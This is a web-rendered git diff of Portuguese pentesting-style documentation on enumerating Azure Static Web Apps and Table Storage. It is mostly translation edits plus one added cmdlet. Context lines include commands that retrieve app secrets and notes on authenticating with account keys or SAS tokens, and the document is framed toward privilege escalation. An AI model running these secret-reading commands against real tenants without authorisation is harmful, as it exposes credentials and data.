Get-AzStaticWebAppSecret -ResourceGroupName <ResourceGroupName> -Name <Name>
|
||||||
|
|
||||||
|
# Retrieves general app settings for a Static Web App.
|
||||||
|
Get-AzStaticWebAppSetting -ResourceGroupName <ResourceGroupName> -Name <Name>
|
||||||
|
|
||||||
|
# Retrieves user details for a Static Web App with a specified authentication provider.
|
||||||
|
Get-AzStaticWebAppUser -ResourceGroupName <ResourceGroupName> -Name <Name> -AuthProvider <AuthProvider>
|
||||||
|
|
||||||
|
# Retrieves user-provided function apps associated with a Static Web App.
|
||||||
|
Get-AzStaticWebAppUserProvidedFunctionApp -ResourceGroupName <ResourceGroupName> -Name <Name>
|
||||||
|
|
||||||
|
```
|
||||||
|
{% endcode %}
|
||||||
|
{% endtab %}
|
||||||
|
{% endtabs %}
|
||||||
|
|
||||||
|
|
||||||
|
## Exemplos para gerar Web Apps
|
||||||
|
|
||||||
|
Você pode encontrar um bom exemplo para gerar um web app no seguinte link: [https://learn.microsoft.com/en-us/azure/static-web-apps/get-started-portal?tabs=react&pivots=github](https://learn.microsoft.com/en-us/azure/static-web-apps/get-started-portal?tabs=react&pivots=github)
|
||||||
|
|
||||||
1. Faça um fork do repositório https://github.com/staticwebdev/react-basic/generate para sua conta do GitHub e nomeie-o como `my-first-static-web-app`
|
1. Faça um fork do repositório https://github.com/staticwebdev/react-basic/generate para sua conta do GitHub e nomeie-o como `my-first-static-web-app`
|
||||||
2. No portal do Azure, crie um Static Web App configurando o acesso ao Github e selecionando o novo repositório que você forkou anteriormente
|
2. No portal do Azure, crie um Static Web App configurando o acesso ao Github e selecionando o novo repositório que você forkou anteriormente
|
||||||
|
|||||||
@@ -12,19 +12,19 @@ Não **existe um mecanismo de backup embutido** para o armazenamento de tabelas.
|
|||||||
|
|
||||||
#### **PartitionKey**
|
#### **PartitionKey**
|
||||||
|
|
||||||
- O **PartitionKey agrupa entidades em partições lógicas**. Entidades com o mesmo PartitionKey são armazenadas juntas, o que melhora o desempenho das consultas e a escalabilidade.
|
- O **PartitionKey agrupa entidades em partições lógicas**. Entidades com o mesmo PartitionKey são armazenadas juntas, o que melhora o desempenho da consulta e a escalabilidade.
|
||||||
- Exemplo: Em uma tabela que armazena dados de funcionários, o `PartitionKey` pode representar um departamento, por exemplo, `"RH"` ou `"TI"`.
|
- Exemplo: Em uma tabela que armazena dados de funcionários, `PartitionKey` pode representar um departamento, por exemplo, `"RH"` ou `"TI"`.
|
||||||
|
|
||||||
#### **RowKey**
|
#### **RowKey**
|
||||||
|
|
||||||
- O **RowKey é o identificador único** para uma entidade dentro de uma partição. Quando combinado com o PartitionKey, garante que cada entidade na tabela tenha um identificador globalmente único.
|
- O **RowKey é o identificador único** para uma entidade dentro de uma partição. Quando combinado com o PartitionKey, garante que cada entidade na tabela tenha um identificador globalmente único.
|
||||||
- Exemplo: Para a partição `"RH"`, o `RowKey` pode ser um ID de funcionário, por exemplo, `"12345"`.
|
- Exemplo: Para a partição `"RH"`, `RowKey` pode ser um ID de funcionário, por exemplo, `"12345"`.
|
||||||
|
|
||||||
#### **Outras Propriedades (Propriedades Personalizadas)**
|
#### **Outras Propriedades (Propriedades Personalizadas)**
|
||||||
|
|
||||||
- Além do PartitionKey e RowKey, uma entidade pode ter **propriedades personalizadas adicionais para armazenar dados**. Estas são definidas pelo usuário e atuam como colunas em um banco de dados tradicional.
|
- Além do PartitionKey e RowKey, uma entidade pode ter **propriedades personalizadas adicionais para armazenar dados**. Estas são definidas pelo usuário e atuam como colunas em um banco de dados tradicional.
|
||||||
- As propriedades são armazenadas como **pares chave-valor**.
|
- As propriedades são armazenadas como **pares chave-valor**.
|
||||||
- Exemplo: `Nome`, `Idade`, `Título` podem ser propriedades personalizadas para um funcionário.
|
- Exemplo: `Nome`, `Idade`, `Título` poderiam ser propriedades personalizadas para um funcionário.
|
||||||
|
|
||||||
## Enumeração
|
## Enumeração
|
||||||
|
|
||||||
@@ -69,6 +69,8 @@ Get-AzStorageAccount
|
|||||||
|
|
||||||
# List tables
|
# List tables
|
||||||
Get-AzStorageTable -Context (Get-AzStorageAccount -Name <mystorageaccount> -ResourceGroupName <ResourceGroupName>).Context
|
Get-AzStorageTable -Context (Get-AzStorageAccount -Name <mystorageaccount> -ResourceGroupName <ResourceGroupName>).Context
|
||||||
|
|
||||||
|
Get-AzStorageTableStoredAccessPolicy -Table <Table> -Context (Get-AzStorageAccount -Name <mystorageaccount -ResourceGroupName <ResourceGroupName>).Context
|
||||||
```
|
```
|
||||||
{{#endtab}}
|
{{#endtab}}
|
||||||
{{#endtabs}}
|
{{#endtabs}}
|
||||||
@@ -77,7 +79,7 @@ Get-AzStorageTable -Context (Get-AzStorageAccount -Name <mystorageaccount> -Reso
|
|||||||
> Por padrão, o `az` cli usará uma chave de conta para assinar uma chave e realizar a ação. Para usar os privilégios do principal do Entra ID, use os parâmetros `--auth-mode login`.
|
> Por padrão, o `az` cli usará uma chave de conta para assinar uma chave e realizar a ação. Para usar os privilégios do principal do Entra ID, use os parâmetros `--auth-mode login`.
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> Use o parâmetro `--account-key` para indicar a chave da conta a ser usada\
|
> Use o parâmetro `--account-key` para indicar a chave de conta a ser usada\
|
||||||
> Use o parâmetro `--sas-token` com o token SAS para acessar via um token SAS
|
> Use o parâmetro `--sas-token` com o token SAS para acessar via um token SAS
|
||||||
|
|
||||||
## Escalação de Privilégios
|
## Escalação de Privilégios
|
||||||
|
|||||||
Reference in New Issue
Block a user